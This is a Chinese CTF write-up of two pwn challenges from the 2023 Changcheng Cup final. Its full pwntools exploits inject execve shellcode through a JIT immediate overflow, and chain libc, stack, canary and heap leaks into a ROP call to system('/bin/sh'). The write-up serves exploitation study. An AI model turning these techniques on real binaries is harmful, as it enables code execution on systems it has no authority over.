2023-长城杯(铁人三项)决赛-pwn-wp
这是昨天的长城杯线下决赛题目,找其它参加的师傅要了 pwn 方向的题目来做,一共有两道题,题目质量很不错,都是对逆向动态调试有一定要求才能做出的类型, 我想这也是之后国内CTF比赛 pwn 方向赛题的转变趋势吧。
就是很遗憾没能参加,,,,不然靠做 pwn 应该都能保底拿奖了
fast_emulator
这是一道 jit 题目,属于 vm pwn,需要把指令会转换为什么样的执行体给逆向明白才能做
主要利用到的是 load 指令,其中,如 load r1 0xaaaaaaaaaaaaaaaa ,当 0xaaaaaaaaaaaaaaaa 过长时候,被转为汇编指令的形式 mov rax, 0xaaaaaaaaaaaaaaaa 时候,由于过长,那么部分溢出的 a 就会进入执行体,作为汇编指令执行,这就是这道题的漏洞
p = process('./pwn') #p = remote('node4.anna.nssctf.cn', 28414) elf = ELF('./pwn') #libc = ELF('./libc-2.27-x64.so') libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so') gdb.attach(p, 'b *$rebase(0x1a1d)') #gdb.attach(p, 'b *$rebase(0x1a16)') sla(b'enter: ', b'1') sla(b'> ', b'load r2 0x' + b'a'*0x10) pause()
用如上代码调试即可得到如下图所示,部分 a 溢出了
其中,由于溢出数据有限,所以我们写入的 shellcode 需要分段写。我选择的是利用 execve('/bin/sh', 0, 0) 进行系统调用来 get shell
并且会出现写入的 shellcode 因为没有对齐而导致转换成对应的汇编代码错误执行失败的情况,所以我们需要多写几个指令进去
完整 exp
from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64 def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('node4.anna.nssctf.cn', 28414) elf = ELF('./pwn') #libc = ELF('./libc-2.27-x64.so') libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so') gdb.attach(p, 'b *$rebase(0x1a1d)') sla(b'enter: ', b'7') sla(b'> ', b'load r2 0x' + b'6a3b'*0x10 + b'00000000') # push 0x3b; sla(b'> ', b'load r2 0x' + b'58'*0x8 + b'00000000') #pop rax; sla(b'> ', b'load r2 0x' + b'6a00'*0x10 + b'00000000') #push 0; sla(b'> ', b'load r2 0x' + b'5a5e'*0x8 + b'00000000') #pop rsi; pop rdx; sla(b'> ', b'load r2 0x' + b'5f55'*0x10 + b'00000000') # push rbp; pop rdi; sla(b'> ', b'load r2 0x' + b'0f05'*0x8 + b'00000000') # syscall sla(b'> ', b'/bin/sh\x00' + b'00000000') inter()
如下图
driverlicense
一道 C ++ 栈题,主要考点是 C++ 中 cin、cout 对字符串的处理
程序会要求输入 name , age , comment
然后就是修改 comment ,输出信息这两个功能。
由于 C++ 代码过于复杂且漏洞不明显表现在代码上就不上图了
漏洞:
如果我们在程序一开始输入的 comment 的字节数小于 8 ,那么就会将输入的字符串存储在栈上,否则存储在堆块上。当存储在栈上的时候。
from pwm import *
context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('node4.anna.nssctf.cn', 28414) elf = ELF('./pwn') #libc = ELF('./libc-2.27-x64.so') libc = ELF('/home/w1nd/Desktop/libc-2.23.so') def update(data): sla(b'>> ', b'1') sla(b'>> ', data) def show(): sla(b'>> ', b'2') sla(b'>> ', b'a'*0x20) sla(b'>> ', b'1233') sla(b'>> ', b'a'*6) gdb.attach(p, 'b *0x401188') update(b'a'*0x10) pause()
可以发现我们可以往栈上写很多个字节,实现栈溢出。
这是因为利用了 malloc_usable_size 来检测堆块大小,但是这是处理数据存储在堆块上的情况,当数据存在在栈上的时候, malloc_usable_size 就会取栈上的值导致我们可以溢出写
最后发送 0 来退出循环触发栈溢出。
不过开启了 canary,我们需要先泄露 canary
当执行 cout 函数的时候,我们可以发现,如果我们之前便溢出了,那么会是这样的
context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('node4.anna.nssctf.cn', 28414) elf = ELF('./pwn') #libc = ELF('./libc-2.27-x64.so') libc = ELF('/home/w1nd/Desktop/libc-2.23.so') def update(data): sla(b'>> ', b'1') sla(b'>> ', data) def show(): sla(b'>> ', b'2') sla(b'>> ', b'a'*0x20) sla(b'>> ', b'1233') sla(b'>> ', b'a'*6) gdb.attach(p, 'b *0x4011af') update(b'a'*0x10 + b'b'*8) show() pause()
从图可以看到 rsi 的值是我们可以控制的,在 IDA 中,执行的是 show 功能函数要输出 name
也就是说,我们可以通过控制 rsi 的链子来输出内存信息,比如 libc_base 、stack 、canary、heap_addr
context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('node4.anna.nssctf.cn', 28414) elf = ELF('./pwn') #libc = ELF('./libc-2.27-x64.so') libc = ELF('/home/w1nd/Desktop/libc-2.23.so') def update(data): sla(b'>> ', b'1') sla(b'>> ', data) def show(): sla(b'>> ', b'2') sla(b'>> ', b'a'*0x20) sla(b'>> ', b'1233') sla(b'>> ', b'a'*6) # leak libc_base update(b'a'*0x10 + p64(elf.got['read'])) show() libc_base = get_addr() - libc.sym['read'] # leak stack environ = libc_base + libc.sym['__environ'] update(b'a'*0x10 + p64(environ)) show() stack = get_addr() # leak canary update(b'a'*0x10 + p64(stack - 0x110)) show() rl(b'Your name : ') canary = u64(p.recv(8)) # leak heap_addr #gdb.attach(p, 'b *0x401190') update(b'a'*0x10 + p64(stack - 0x1b8)) show() rl(b'Your name : ') heap_addr = u32(p.recv(4)) print(' heap_addr -> ', hex(heap_addr)) print(' canary -> ', hex(canary)) print(' stack -> ', hex(stack)) print(' libc_base -> ', hex(libc_base))
这里要注意的是,输出的 name 的字节数是受我们一开始在程序中输入的 name 的字节数所决定的,所以我们这里要输大一些,不够这样又会有一个问题,程序在要结束时候调用 0x40165a 函数对之前存放数据的堆块进行释放,但是由于我们还需要利用栈溢出,所以栈上存放的堆块的指针也会被我们修改,所以我们需要通过泄露堆地址,然后还原回来
如图所示,如果直接栈溢出那么栈上的堆块指针就被我们修改了
之后,就是一步步调试,然后输入 0 退出循环,触发栈溢出,这里的 canary 和 堆块指针 和 溢出点的位置只需要调试就可以知道了,就不多说了
完整 exp
from pwn import * from struct import pack from ctypes import * from LibcSearcher import * import base64 def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) context(os='linux', arch='amd64', log_level='debug') p = process('./pwn') #p = remote('node4.anna.nssctf.cn', 28414) elf = ELF('./pwn') #libc = ELF('./libc-2.27-x64.so') libc = ELF('/home/w1nd/Desktop/libc-2.23.so') def update(data): sla(b'>> ', b'1') sla(b'>> ', data) def show(): sla(b'>> ', b'2') sla(b'>> ', b'a'*0x20) sla(b'>> ', b'1233') sla(b'>> ', b'a'*6) # leak libc_base update(b'a'*0x10 + p64(elf.got['read'])) show() libc_base = get_addr() - libc.sym['read'] # leak stack environ = libc_base + libc.sym['__environ'] update(b'a'*0x10 + p64(environ)) show() stack = get_addr() # leak canary update(b'a'*0x10 + p64(stack - 0x110)) show() rl(b'Your name : ') canary = u64(p.recv(8)) # leak heap_addr #gdb.attach(p, 'b *0x401190') update(b'a'*0x10 + p64(stack - 0x1b8)) show() rl(b'Your name : ') heap_addr = u32(p.recv(4)) # pwn rdi = 0x401713 ret = 0x400df1 system, binsh = get_sb() #gdb.attach(p, 'b *0x40148f') update(p64(canary)*2 + p64(heap_addr + 0x50) + b'a'*0x20 + p64(canary) + b'a'*0x18 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)) sla(b'>> ', b'0') print(' heap_addr -> ', hex(heap_addr)) print(' canary -> ', hex(canary)) print(' stack -> ', hex(stack)) print(' libc_base -> ', hex(libc_base)) inter()